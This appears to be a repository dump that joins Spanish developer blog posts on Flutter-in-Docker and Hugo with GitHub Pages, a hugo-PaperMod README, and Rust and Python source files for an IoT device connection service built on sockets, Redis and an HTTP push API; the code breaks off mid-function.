Recientemente estaba con la urgencia de hacer un proyecto con Flutter, pero los recursos de la PC no me dejaban, por lo cual empece a buscar alternativas y di con esta solucion, e intentando realizarla no podรญa hacer que funcionara el emulador, solo en web y era tardรญo el proceso, entonces empece a investigar y eran cosas sencillas que tenรญa que hacer para que todo funcionara, tanto en Web como en Android, que para otros pueden ser mรกs sencillas o complejas, y por lo mucho que me ha ayudado, se los dejo aquรญ para que puedan solventar cualquier problema solamente teniendo Docker en su pc/laptop, VSCode, y una extensiรณn en este.
Gracias a la maravilla de Docker, con este contenedor podrรกs hacer tus prรกcticas y proyectos de Flutter sin preocuparte de las configuraciones en tu PC/Laptop.
### Este contenedor incluye:
- SDK Flutter.
- SDK Android.
- Emulador para Android.
- Configuraciรณn para Flutter Web en el puerto 8090.
- Varias versiones de Flutter.
### Ahora sรญ, empecemos con la instalaciรณn.
Clonamos el repositorio desde la Terminal. Es importante no cerrar la terminal con la que estaremos trabajando desde afuera de VSCode, que la estaremos utilizando mรกs adelante
` $ git clone https://github.com/yuliannydev/docker-flutter-multiplatform.git `
Entramos al repo clonado, desde la misma terminal
` $ code . `
Para instalar la extensiรณn que dije que se necesita en VSCode, [Remote Development](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack).

Una vez instalada:
` Ctrl + Shift + P `

Le damos en **Remote-Containers: Rebuild and Reopen in Container**
Para que se descargue todo el contenido que necesitaremos para trabajar con Flutter en nuestra PC, esto puede demorar un tiempo dependiendo de tu conexiรณn a internet, ya que como dije estarรก descargando todo.
Y una vez estรฉ descargado en la **terminal de VSCode** aparecerรก algo asรญ:

Donde flutter_docker_compose es el nombre que le hayas dado inicialmente al repo clonado, o como tรบ quieras llamarle. Lo siguiente serรก crear nuestra Aplicaciรณn:

### Emulador para Android
Ahora para poner andar el emulador Android necesitas tener soporte para [KVM](https://www.linux-kvm.org/page/Main_Page), en Linux puedes buscar en tu tienda de descarga.
En la terminal externa, que dije que no cerrรกramos, vamos a colocar este comando, para que inicie el emulador:
` $ xhost local:$USER && docker run --rm -ti -e UID=$(id -u) -e GID=$(id -g) -p 42000:42000 --workdir /project --device /dev/kvm --device /dev/dri:/dev/dri -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY -v "$PWD":/project --entrypoint flutter-android-emulator matspfeiffer/flutter `
Ahora en la **terminal de VSCode**
` $ flutter emulators --launch flutter_emulator `
### Flutter en Google Chrome
Para trabajar en un Navegador Web con Chrome se debe tener esta extensiรณn para depurar Dart:
[Extension-Dart](https://chrome.google.com/webstore/detail/dart-debug-extension/eljbmlghnomdjgdjmbdekegdkbabckhm)
E igualmente correr un comando en la Terminal externa:
` $ docker run --rm -ti -e UID=$(id -u) -e GID=$(id -g) -p 42000:42000 -p 8090:8090 --workdir /project -v "$PWD":/project --entrypoint flutter-web matspfeiffer/flutter:beta `
Y empezarรก a trabajar en el puerto 0.0.0.0:8090
### Enlaces adicionales
- [Develope Flutter in VSCode](https://dev.to/matsp/develop-flutter-in-a-vs-code-devcontainer-350g)
- [Readme del Repo](https://github.com/yuliannydev/docker-flutter-multiplatform)
- [VSCode Remote Development](https://code.visualstudio.com/docs/remote/remote-overview)
- [Alternativa de KVM para Windows](https://www.profesionalreview.com/2019/01/06/habilitar-hyper-v-windows-10/)
**Gracias por visitar mi Blog, espero haberte ayudado. Para cualquier duda puedes contactarme a mi [Twitter](https://twitter.com/yuliannydev) que con gusto te ayudarรฉ, y si quieres apoyarme en [ko-fi](https://ko-fi.com/raydesite/)**
```
hugo-y-github-pages.md
```---
author: "Yulianny Betancourt"
title: "Hugo y Github Pages"
date: 2020-11-25T22:34:08-04:00
description: "Crea una pรกgina Web en tiempo rรฉcord"
tags: ["Hugo", "Github", "DesarrolloWeb"]
---
#### **Crea tu Pรกgina Web o Blog con Hugo + Github Pages en solo minutos.**
Hugo es un Framework de cรณdigo abierto que te permite crear Sitios estรกticos, y actualmente es el mรกs veloz del mercado.
#### **Instala HUGO en tu Sistema Operativo**
Primero es necesario tener instalado en tu PC o Laptop hugo, porque ahรญ es donde iniciaras tu proyecto. Para eso:
En Windows:
`$ choco install hugo -confirm`
En MAC:
` $ brew install hugo`
Debian y derivados:
` $ sudo apt-get install hugo`
Arch Linux y derivados:
` $ sudo pacman -S hugo`
#### **Crear tu Proyecto con Hugo**
` $ hugo new site MiPagina`
Crea una carpeta llamada **MiPagina** en la cual estarรก tu Proyecto, y quedarรก algo asรญ:

#### **Instala tu tema y configuralo**
Puedes hacerlo desde cero, pero gracias a la comunidad de Hugo, existen diversos temas con los cuales puedes hacer tu pรกgina partiendo de otra o si quieres dejarla exactamente igual, acรก un link donde puedes conseguir temas:
https://themes.gohugo.io/
El tema que yo he elegido es este:
https://themes.gohugo.io/theme/hugo-refresh/
Ahora adentro de la carpeta **MiPagina** se prepara para poder subir a Github, y clonar el repositorio del tema ahรญ, esto se hace asรญ:
` $ git init`
Clonamos el tema con un:
` $ git submodule add https://github.com/PippoRJ/hugo-refresh.git themes/hugo-refresh`
Y adentro de la carpeta Themes estarรก el tema clonado como lo indica el comando anterior.
Y para tener el tema tal cual lo muestra en la demo, removemos la configuraciรณn de la carpeta raรญz. El archivo config.toml

` $ rm config.toml`
y descargamos la configuraciรณn del tema clonado, a nuestra carpeta raรญz con:
`$ curl -O https://raw.githubusercontent.com/PippoRJ/hugo-refresh/master/exampleSite/config.yaml`
Para esto se requiere tener instalado curl, si no lo tienes puede entrar a la carpeta **themes** luego en el tema clonado, y **exampleSite** copiar el archivo config.toml y pegarlo en la carpeta raรญz, es decir en **MiPagina**.
En el archivo config.toml es necesario cambiar el link que trae por defecto que es:
`baseURL = "http://example.com/"` y colocar el link de tu pรกgina web, este link lo obtienes en el siguiente paso, recuerda hacerlo una vez lo hayas terminado.
#### **Crea un repositorio en Github para alojar tu proyecto, Pรกgina web, Blog**
Para este paso necesitas tener una cuenta en Github, asรญ que si estรกs aquรญ es porque ya sabes que puedes alojar tu pรกgina web ahรญ.
En Github, en el inicio a la izquierda superior:

Le das en New y apareceran la ventana para colocar los datos del repositorio:

En **Repository name** colocarรกs el nombre con el que tengas tu cuenta
"tunombre" es eso.
Y **.github.io** para que esto pueda funcionar, y los otros datos son opcionales, pero deberรญas llenarlo.
#### **Clonar mi repositorio Github a mi PC**
Como ya en tu pc creaste un repositorio al hacer ` $ git init` tienes que utilizar estos comando en la terminal:
` $ git remote add origin https://github.com/yuliannybetancourt/tunombre.github.io.git`
En tu caso serรก `https://github.com/tunombre/tunombre.github.io.git` la direcciรณn del repo.
` $ git add .`
` $ git commit -m "Para verificar que todo este comiteado"`
` $ git branch -M main`
` $ git push -u origin main`
Recuerda estar posicionado adentro de la carpeta **MiPagina**
Y tu repositorio Github ya estarรก enlazado a tu proyecto local en la rama **main**
#### **Preparo mi Proyecto para subirlo a Github**
Ahora para que tu proyecto en local estรฉ en tu cuenta de Github, y puedas tener tu Pรกgina Web:
Estando en **MiPagina**
` $ hugo -d docs`
Esto es para que se cree una carpeta docs adentro de la raรญz de tu proyecto local, y de ese modo en tu repositorio se haga el deploy en docs.
**Nota:** Github te permite tener tu pรกgina web en la raรญz **/root**, pero en este caso la colocaremos en **/docs **, para eso vamos a Settings en Github y bajamos al apartado de **Github Pages** y seleccionamos /docs como lugar para hacer el deploy.

Ya preparado el proyecto en local, y configurado bien el repositorio, en la terminal:
` $ git add .`
` $ git commit -m "Subo mi proyecto completo a Github"`
Esto es para agregar los cambios realizados "*la carpeta docs y lo que contiene*"
` $ git push origin main`
Sube todo el proyecto a tu respositorio en Github.
Y listo, ya puedes verificar que tu pรกgina estรก en https://tunombre.github.io
```
README.md
```

[](https://themes.gohugo.io/hugo-papermod/)
[](https://sonarcloud.io/dashboard?id=adityatelange_hugo-PaperMod)

# Mi Blog personal estรก creado con hugo-PaperMod | [Demo](https://yuliannydev.me/)
# Demo original | [Demo](https://adityatelange.github.io/hugo-PaperMod/)
โ๏ธ Fast | โ๏ธ Fluent | ๐ Smooth | ๐ฑ Responsive
Hugo PaperMod es un tema basado en [hugo-paper](https://github.com/nanxiaobei/hugo-paper).
La meta de este proyecto es agregar mรกs caracterรญscas y personalizaciรณn al tema original.
El [sitio demo](https://adityatelange.github.io/hugo-PaperMod/) contiene toda la documentaciรณn sobre la Instalaciรณn, caracteristicas, y muchas mรกs cosas. Asegurate de darle una ojeada, que a mรญ me ha ayudado mucho.
El sitio ejemplo lo puedes conseguir aquรญ: [Sitio ejemplo](https://github.com/adityatelange/hugo-PaperMod/tree/exampleSite). El sitio demo estรก construido desde este ejemplo.
---
<p align="center">
<kbd><img width=600px src="https://raw.githubusercontent.com/adityatelange/hugo-PaperMod/exampleSite/content/posts/papermod/papermod-features/images/homeinfo.webp" alt="HomeInfo" /></kbd>
<kbd><img width=153px src="https://i.ibb.co/LNgGcrt/mobileview.png" alt="HomeInfo" /></kbd>
</p>
---
## Instalaciรณn
Lee este Post para mรกs detalles => [hugo-PaperMod - Instalaciรณn](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-installation/)
---
## Caracterรญsticas / Modos
- Usa Hugo en sus modos predeterminados.
- 3 Modos:
- Regular Mode.
- [Home-Info Mode.](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-features/#home-info-mode)
- [Profile Mode.](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-features/#profile-mode)
- Tabla de generaciรณn de contenido (Implementado recientemente).
- Archivo de posts.
- Social-Media para compartir los posts.
- Indicador de รbicaciรณn del Menรบ.
- Soporte a multilenguaje.
- Imรกgen de portada para cada post (Con soporte responsive).
- Light/Dark theme ( Cambio automรกtico de tema).
- SEO Amigable.
- SOporte para multiples Autores.
- No requiere webpack, nodejs y otras dependencias para editar el Tema. :)
Lea este post para mรกs detalles => [hugo-PaperMod - Caracterรญsticas](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-features/)
Informaciรณns sobre las cosas agregadas: [Releases](https://github.com/adityatelange/hugo-PaperMod/releases)
---
## Social-Icons
Lea este post para mรกs detalles => [Social-Icons](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-icons/)
---
## Preguntas frecuentes / Procedimientos
Lea este post para mรกs detalles => [Guรญa Prรกctica](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-how-to/)
---
## [LightHouse Report](https://lighthouse-dot-webdotdevsite.appspot.com//lh/html?url=https%3A%2F%2Fadityatelange.github.io%2Fhugo-PaperMod%2F)
---
### Ayรบdame/Apoyame
Si te gusta mi trabajo y quieres ayudarme a mantener mรกs cositas productivas para ti y otros, puedes Brรญndarme un cรกfe.
[](https://ko-fi.com/H2H52F76Q)
---
## ยฟEncontraste un Bug?
Si es asรญ, por favor usa: [Issue Tracker](https://github.com/adityatelange/hugo-PaperMod/issues) y/o
crea un [Pull Request](https://github.com/adityatelange/hugo-PaperMod/pulls) para solucionar el bug.
[](https://github.com/adityatelange/hugo-PaperMod/issues?q=is%3Aopen)
[](https://github.com/adityatelange/hugo-PaperMod/issues?q=is%3Aissue+is%3Aclosed)
[](https://github.com/adityatelange/hugo-PaperMod/pulls?q=is%3Aopen+is%3Apr)
[](https://github.com/adityatelange/hugo-PaperMod/pulls?q=is%3Apr+is%3Aclosed)
```
|
yulincoder/Controller-Device
|
yulincoder/Controller-Device
main.rs
```#![feature(test)]
use std::thread;
#[allow(unused_imports)]
use log::{
error,
info,
};
use common::config;
use perception_service::connection as device_conn;
mod perception_service;
mod middleware_wrapper;
mod common;
fn main() -> Result<(), ()> {
// ๅ ่ฝฝ้
็ฝฎ
let config: config::Config = config::load_config("cfg.toml", true);
config::log_init(config.log);
// ๆฐๅปบThread, ไผ ๅ
ฅ้
็ฝฎ๏ผๅฏๅจๆ็ฅๅฑ่ฟๆฅๆๅก
let cfg_perception_service = config.perception_service;
let cfg_redis = config.redis;
let perception_service_work = thread::spawn(move || {
device_conn::start(cfg_perception_service, cfg_redis).unwrap();
});
if let Err(_) = perception_service_work.join() {
panic!("start perception service failed")
}
Ok(())
}
```
release.sh
```cargo build --release
mv target/release/untitled5 target/release/connection-service.bin
scp ./target/release/connection-service.bin root@39.105.63.97:/root/home/csod/heartbeat-server/
```
devicepool.py
```from gevent import monkey
monkey.patch_all()
import device
from typing import Union, Dict, Tuple
import threading
# from multiprocessing.managers import BaseManager
class DeviceSocketPool:
def __init__(self):
self._devices = {}
def _lock_acquire(self):
pass
def _lock_release(self):
pass
def put_device(self, sn: str, d: device.Device):
self._lock_acquire()
self._devices[sn] = d
self._devices[sn].is_alive = True
self._lock_release()
def peak_device(self, sn: str) -> Union[None, device.Device]:
return self._devices[sn] if sn in self._devices else None
def get_device_num(self) -> int:
return len(self._devices.keys())
def get_alive_device_num(self) -> int:
return len(list(filter(lambda e: e.is_alive, self._devices.values())))
def rm_device(self, sn: str):
if sn in self._devices:
del self._devices[sn]
def set_alive(self, sn: str, alive: bool):
self._devices[sn].is_alive = alive
def is_in_pool(self, sn: str) -> bool:
return sn in self._devices
def is_alive(self, sn: str) -> bool:
if self.is_in_pool(sn):
return self._devices[sn].is_alive
else:
return False
def put_msg_safe(self, sn: str, msg: str) -> Union[bool, int]:
"""
Post lastest msg to redis.
"""
if not self.is_in_pool(sn):
return False
if not self.is_alive(sn):
return False
device = self.peak_device(sn)
retval = device.write(msg)
return retval
# It is seem that Gevent confilct to multiprocessing.managers.Manager
# def ManagerInstance():
# """
# Create a process share instance
# """
# m = BaseManager()
# m.register('DeviceSocketPool', DeviceSocketPool)
# m.start()
# return m.DeviceSocketPool()
# """
# m = BaseManager()
# m.register('DeviceSocketPool', DeviceSocketPool)
# m.start()
# return m.DeviceSocketPool()
# devicesocketpool = ManagerInstance()
devicesocketpool = DeviceSocketPool()
if __name__ == '__main__':
print(devicesocketpool.is_in_pool('sdf'))
```
http_test.sh
```#!/bin/bash
for((i=0;i<2;i++));
do
sn="abc"$i
echo -e "\n----------\n"${sn}
curl -i -X POST -H "Content-Type: application/json" -d "{\"data\":\"fuck\", \"sn\":\"${sn}\"}" http://39.105.63.97:8080/push/push_msg
#curl -i -X POST -H "Content-Type: application/json" -d "{\"data\":\"fuck\", \"sn\":\"${sn}\"}" http://127.0.0.1:8080/push/push_msg
done
```
logger.py
```from gevent import monkey, socket
monkey.patch_all()
import logging
LOG_FILENAME = "device_log.log"
logger = logging.getLogger()
logger.setLevel('INFO')
BASIC_FORMAT = "%(asctime)s [%(levelname)s] - %(message)s"
DATE_FORMAT = '%Y-%m-%d %H:%M:%S %p'
formatter = logging.Formatter(BASIC_FORMAT, DATE_FORMAT)
chlr = logging.StreamHandler() # ่พๅบๅฐๆงๅถๅฐ็handler
chlr.setFormatter(formatter)
chlr.setLevel('INFO')
fhlr = logging.FileHandler(LOG_FILENAME) # ่พๅบๅฐๆไปถ็handler
fhlr.setFormatter(formatter)
fhlr.setLevel('INFO')
logger.addHandler(chlr)
logger.addHandler(fhlr)
def info(msg):
logging.info('\033[1;32m'+msg+'\033[0m')
def debug(msg):
logging.debug('\033[1;36m'+msg+'\033[0m')
def warning(msg):
logging.warning('\033[1;34m'+msg+'\033[0m')
def error(msg):
logging.error('\033[1;31m'+msg+'\033[0m')
def critical(msg):
logging.critical('\033[1;91m'+msg+'\033[0m')```
main.rs
```use log::info;
use std::sync::{Arc, RwLock};
use std::thread;
mod connection;
mod device;
mod http_server;
mod loge_cfg;
mod messagequeue;
fn init() -> Result<(), String> {
loge_cfg::log_init(Some("info"))?;
Ok(())
}
fn main() {
init().unwrap();
let devicepool = Arc::new(RwLock::new(device::DevicePool::new()));
let devicepool_clone_1 = devicepool.clone();
let connection_server_thread = thread::spawn(move || {
connection::start(devicepool_clone_1);
});
let devicepool_clone_2 = devicepool.clone();
let web_server_thread = thread::spawn(move || match http_server::start(devicepool_clone_2) {
Err(_) => panic!("Http start fail"),
_ => {}
});
if connection_server_thread.join().is_ok() {
info!("Connection Service Launch OK");
}
if web_server_thread.join().is_ok() {
info!("Http service launch OK");
}
}
```
test.py
```
import socket
import json
import time
import gevent
from gevent import monkey, socket, time
monkey.patch_all()
cnt = 0
def request(sn, close=True):
global cnt
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.settimeout(15)
server = ("127.0.0.1", 9000)
s.connect(server)
s.setblocking(True)
msg = {
"v": "0.1",
"sn": sn,
}
time.sleep(1)
msg = json.dumps(msg) + '\n'
s.sendall(bytes(msg, encoding='utf-8'))
while not close:
cnt += 1
print(s.recv(1000))
s.sendall(bytes(msg, encoding='utf-8'))
msg = {
"type": "push",
"msg": "okokokoko",
}
msg = json.dumps(msg) + '\n'
print(msg)
s.sendall(bytes(msg, encoding='utf-8'))
time.sleep(1)
event = {
"event": "frome the device {}".format(cnt),
}
event = json.dumps(event)+'\n'
print(event)
s.sendall(
bytes(event, encoding='utf-8'))
s.close()
gs = []
for e in range(500):
g = gevent.spawn(request, f"sn/controller/{e*4000}",
False if e < 2500 else True)
gs.append(g)
for g in gs:
g.join()
```
query_redis.rs
```#[allow(unused_imports)]
use log::{error, info, warn};
use tokio::time::Duration;
use tokio::time::delay_for;
use super::redis_wrapper as rw;
const REDIS_ADDR: &str = "127.0.0.1";
const REDIS_PORT: &str = "6379";
pub const NAMESPACE_DEVICES_BORN: &str = "csod/devices_born";
pub const NAMESPACE_DEVICES_ALIVE: &str = "csod/devices_alive";
pub const NAMESPACE_DEVICE_STATUS: &str = "csod/device_status";
//pub const NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY: &str = "csod/mq/p5";
pub async fn get_devices_num() -> Result<Option<String>, String> {
let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await {
e
} else {
warn!("connection redis fail.");
return Err("connection redis fail.".to_string());
};
let rv = redis_conn.zcard(NAMESPACE_DEVICES_BORN).await;
if let Ok(Some(v)) = rv {
Ok(Some(format!("{}", v)))
} else {
warn!("read failed");
Err("read fail.".to_string())
}
}
pub async fn get_alive_devices_num() -> Result<Option<String>, String> {
let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await {
e
} else {
warn!("connection redis fail.");
return Err("connection redis fail.".to_string());
};
let rv = redis_conn.zcard(NAMESPACE_DEVICES_ALIVE).await;
if let Ok(Some(v)) = rv {
Ok(Some(format!("{}", v)))
} else {
warn!("read fail.");
Err("read fail.".to_string())
}
}
pub async fn sn_is_alive(sn: &str) -> bool {
let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await {
e
} else {
return false;
};
let rv = redis_conn.zrank(NAMESPACE_DEVICES_ALIVE, sn).await;
if let Ok(Some(_)) = rv {
true
} else {
false
}
}
// ๅไธ่กๆถๆฏ
async fn write_downlink(sn: &str, msg: &str) -> Result<Option<usize>, String> {
let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await {
e
} else {
warn!("dev {} {}", sn, "connection redis fail.".to_string());
return Err("connection redis fail.".to_string());
};
info!("push msg to downlink {}", msg);
match redis_conn.hset(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "downlink", msg).await {
Err(_) => {
warn!("dev {} {}", sn, "set redis fail.".to_string());
Err("set redis fail.".to_string())
}
Ok(v) => {
Ok(v)
}
}
}
// ๆธ
้คไธ่กack
pub async fn clear_uplink(sn: &str) -> Result<(), String> {
let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await {
e
} else {
warn!("dev {} {}", sn, "connection redis fail.".to_string());
return Err("connection redis fail.".to_string());
};
if let Ok(_) = redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "uplink").await {
Ok(())
} else {
warn!("dev {} {}", sn, "clear redis hash uplink msg failed".to_string());
Err("clear redis hash uplink msg failed".to_string())
}
}
// ่ฏปไธ่กackๆถๆฏ
pub async fn readline_uplink(sn: &str) -> Result<String, String> {
let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await {
e
} else {
warn!("dev {} {}", sn, "connection redis fail.".to_string());
return Err("connection redis fail.".to_string());
};
if let Ok(v) = redis_conn.hget(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "uplink").await {
// ่ฏปๅฎๅผๅฐฑไปredisๅ ้คๆ
// TODO: ่ฟ้ๅ ้คๅคฑ่ดฅๆฒกๅค็
let _ = redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "uplink").await;
Ok(v)
} else {
//warn!("dev {} {}", sn, "read redis hash fail".to_string());
Err("read redis hash fail".to_string())
}
}
pub async fn transparent_transmit_wit_ack(sn: &str, msg: &str) -> Result<Option<String>, String> {
// ๅ
ๆธ
้คack
if let Err(e) = clear_uplink(&sn).await {
warn!("dev {} clear ack failed", sn);
return Err(e);
}
if let Err(e) = write_downlink(sn, msg).await {
warn!("dev {} write downlink msg failed", sn);
return Err(e);
}
// ็ญๅพ
ackๆๅค5s
for i in 1..50 {
if let Ok(rv) = readline_uplink(sn).await {
return Ok(Some(format!("{}", rv)));
} else {
//warn!("dev {}, delay {}", sn, i);
delay_for(Duration::from_millis(100)).await;
}
};
Ok(None)
}```
device.py
```from gevent import monkey
monkey.patch_all()
from typing import Union, Tuple
import socket
import json
import logger
import time
import MsgField
import gevent
import traceback
import threading
class Device:
def __init__(self,
sn: str,
ip_mac: Union[Tuple[str, int], None] = None,
sock: Union[socket.socket, None] = None,
is_alive: bool = True):
self.sn = sn
self.ip_mac = ip_mac
self.socket = sock
self.socket.setblocking(False)
self.is_alive = is_alive
class GenericSwitcherDevice(Device):
def __init__(self,
sn: str,
ip_mac: Union[str, None] = None,
sock: Union[socket.socket, None] = None,
is_alive: bool = True):
super(GenericSwitcherDevice, self).__init__(sn, ip_mac, sock, is_alive)
self._heartbeat_msg_dict: dict = {"sn": None}
self._lock: threading.Lock = threading.Lock()
def _lock_acquire(self):
self._lock.acquire()
def _lock_release(self):
self._lock.release()
def _build_ping_msg(self) -> str:
self._heartbeat_msg_dict['sn'] = self.sn
return json.dumps(self._heartbeat_msg_dict)
def ping(self) -> bool:
pingmsg = self._build_ping_msg()
logger.info(pingmsg)
if self.socket is not None:
self.socket.sendall(pingmsg)
time.sleep(1)
logger.info(pingmsg + ' pong')
def heartbeat(self) -> bool:
if self.socket is None:
self.is_alive = False
return False
sock_f = self.socket.makefile(mode='r', encoding='utf-8')
msg = MsgField.HEARTBEAT
msg['sn'] = self.sn
msg = bytes(json.dumps(msg) + '\n', encoding='utf-8')
self.socket.sendall(msg)
for poll in range(3):
gevent.sleep(1)
try:
data = sock_f.readline()
if data:
logger.info(
'{}: device({}) heartbeat was succeed, {}'.format(
__file__, self.sn, data))
self.is_alive = True
return True
except:
err_msg = traceback.format_exc()
logger.info('{}: device({}) heartbeat was fail, {}'.format(
__file__, self.sn, err_msg))
continue
logger.warning('{}: device({}) heartbeat was fail'.format(
__file__, self.sn))
self.is_alive = False
return False
def readline(self) -> Union[str, None]:
sock_f = self.socket.makefile(mode='r', encoding='utf-8')
data = sock_f.readline()
return None if len(data) == 0 else data
def writeline(self, msg: str) -> Union[bool, int]:
if not isinstance(msg, str):
try:
msg = str(msg)
except:
return False
if msg[-1] != '\n':
msg += '\n'
sock_f = self.socket.makefile(mode='r', encoding='utf-8')
self._lock_acquire()
retval = sock_f.write(msg)
self._lock_release()
return retval
if __name__ == '__main__':
switcher = GenericSwitcherDevice(sn='abc/12344', ip_mac="192.168.1.1")
switcher.ping()
```
json_warpper.rs
```#![allow(dead_code)]
#[allow(unused_imports)]
use log::{error, info, warn};
use serde_json;
use serde_json::Value;
pub fn parse_sn(msg: &String) -> Option<String> {
let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
if t.contains_key("sn") {
match t.get("sn").unwrap() {
Value::String(v) => Some(v.to_string()),
_ => None,
}
} else {
None
}
}
_ => None,
}
} else {
None
};
sn
}```
device_support.py
```import gevent
from gevent import monkey, socket
monkey.patch_all()
import threading
from devicepool import devicesocketpool as dsp
import logger
import json
import traceback
from typing import Union, Tuple
import threading
import device
import queue
import redis
import Config as cfg
from communication import MessageQueue
socket_queue = queue.Queue()
redis_mq = MessageQueue()
def checkdevice(data) -> Union[bool, str]:
"""
Check a new connection whether a device
:param data: the first massage from a new connection
:return: False if it a invalid else it's sn
"""
try:
logger.info('{}: receive data :{}'.format(__file__, data))
data = json.loads(data)
if 'sn' in data:
return data['sn']
except:
return False
def handshake(sock: socket,
addr: Tuple[str, int]) -> Union[device.Device, None]:
"""
Handshake
:param sock:
:param addr:
:return: True if handshake succeed else False
"""
sock.setblocking(False)
sock_f = sock.makefile(mode='r', encoding='utf-8')
d = None
# Handshake
for poll in range(3):
gevent.sleep(3)
try:
data = sock_f.readline()
sn = checkdevice(data)
if sn is False:
logger.warning("{}: poll {}, error sn with ip({})".format(
__file__, poll, str(addr)))
continue
d = device.GenericSwitcherDevice(sn=sn,
ip_mac=addr,
sock=sock,
is_alive=True)
logger.info(
'{}: poll {}, alive device {}, connection{} was succeed, save it.'
.format(__file__, poll, dsp.get_device_num(), str(addr)))
break
except:
err_msg = traceback.format_exc()
logger.error("{}: ip({}) abort with error: {}".format(
__file__, str(addr), err_msg))
continue
if d is None:
sock.close()
logger.warning('{}: connection{} failed, close it.'.format(
__file__, str(addr)))
return d
def long_connection(d: device.Device) -> None:
"""
Maintain a long connection with a device.
:param sock:
:param addr:
:return:
:exception:
"""
heartbeat_cnt = 0
while True:
data = d.readline()
if data:
logger.info('{}: receive a message from {}: {}'.format(
__file__, str(d.ip_mac), data))
# Put Msg to MQ
redis_mq.put(str(data))
heartbeat_cnt = 0
else:
heartbeat_cnt += 1
if heartbeat_cnt >= (cfg.PING_PERIOD / 0.5):
logger.info('{}:heart beat with {}'.format(__file__,
str(d.ip_mac)))
if d.heartbeat() is False:
logger.warning('{}:heart beat fail with {}, delete it.'.format(
__file__, str(d.ip_mac)))
dsp.set_alive(
d.sn, False
) # Fail to heartbeat_cnt, delete it from devices alive.
break
logger.info('{}:heart beat succeed with {}.'.format(
__file__, str(d.ip_mac)))
heartbeat_cnt = 0
gevent.sleep(0.5)
def maintain(sock: socket, addr: Tuple[str, int]) -> None:
"""
Maintain a long connection between device.
:param sock:
:param addr:
:return:
"""
logger.info('Accept new connection from %s:%s...' % addr)
d = handshake(sock, addr)
if d is None:
logger.warning('{}: handshake with {} failed, close it.'.format(
__file__, str(addr)))
return
dsp.put_device(d.sn, d)
long_connection(dsp.peak_device(d.sn))
def accept_connection_handler_thread():
logger.info("{}: tcp process".format(__file__))
while True:
sock, addr = socket_queue.get()
logger.info("{}: get a connection({})".format(__file__, str(addr)))
t = threading.Thread(target=maintain, args=(sock, addr))
t.start()
#gevent.spawn(maintain, sock, addr)
def device_maintain():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# ็ๅฌ็ซฏๅฃ:
s.bind(('0.0.0.0', 9000))
s.listen(10000)
print('Waiting for connection...')
t1 = threading.Thread(target=accept_connection_handler_thread)
t1.start()
while True:
logger.info("{}: start accept".format(__file__))
sock, addr = s.accept()
logger.info("{}: put a connection()".format(__file__, str(addr)))
socket_queue.put((sock, addr))
if __name__ == '__main__':
device_maintain()
```
http_server.rs
```use crate::connection;
use crate::device;
use actix_web::{error, get, post, web, App, Error, HttpResponse, HttpServer};
use bytes::BytesMut;
use futures::StreamExt;
use log::{info, warn};
use serde_json::json;
use std::sync::{Arc, RwLock};
#[get("/query/service_version")]
async fn query_service_version() -> Result<HttpResponse, Error> {
let resp = json!({
"namespace": "/query/service_version",
"value": "v0.8.0-20200626a",
});
Ok(HttpResponse::Ok().body(resp))
}
#[get("/query/devices_num")]
async fn query_devices_num(
devicepool: web::Data<Arc<RwLock<device::DevicePool>>>,
) -> Result<HttpResponse, Error> {
let resp = json!({
"namespace": "/query/devices_num".to_string(),
"value": format!("{}", devicepool.read().unwrap().get_devices_num()),
});
Ok(HttpResponse::Ok().body(resp))
}
#[get("/query/devices_alive_num")]
async fn query_devices_alive_num(
devicepool: web::Data<Arc<RwLock<device::DevicePool>>>,
) -> Result<HttpResponse, Error> {
let resp = json!({
"namespace": "/query/device_alive_num",
"value": format!("{}", devicepool.read().unwrap().get_alive_devices_num()),
});
Ok(HttpResponse::Ok().body(resp))
}
#[get("/query/device_is_alive/{sn}")]
async fn device_is_alive(
info: web::Path<String>,
devicepool: web::Data<Arc<RwLock<device::DevicePool>>>,
) -> Result<HttpResponse, Error> {
let sn = info.to_string();
let is_alive = devicepool.write().unwrap().is_alive(&sn);
let resp = json!({
"namespace": "/query/device_is_alive",
"sn": sn,
"value": if is_alive {
"online".to_string()
} else {
"offline".to_string()
},
});
Ok(HttpResponse::Ok().body(resp))
}
const MAX_SIZE: usize = 262_144;
#[post("/push/push_msg")]
async fn push_get(
mut payload: web::Payload,
devicepool: web::Data<Arc<RwLock<device::DevicePool>>>,
) -> Result<HttpResponse, Error> {
// payload is a stream of Bytes objects
let mut body = BytesMut::new();
while let Some(chunk) = payload.next().await {
let chunk = chunk?;
// limit max size of in-memory payload
if (body.len() + chunk.len()) > MAX_SIZE {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "overflow"
})));
}
body.extend_from_slice(&chunk);
}
match String::from_utf8(body.to_vec()) {
Ok(body_string) => {
println!("data: {}", body_string);
let sn = if let Some(sn) = connection::parse_sn(&body_string) {
sn
} else {
warn!("invaild request, have no sn field");
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "have no sn field"
})));
};
info!("push get device({})", sn);
let mut dsp_lock = devicepool.write().unwrap();
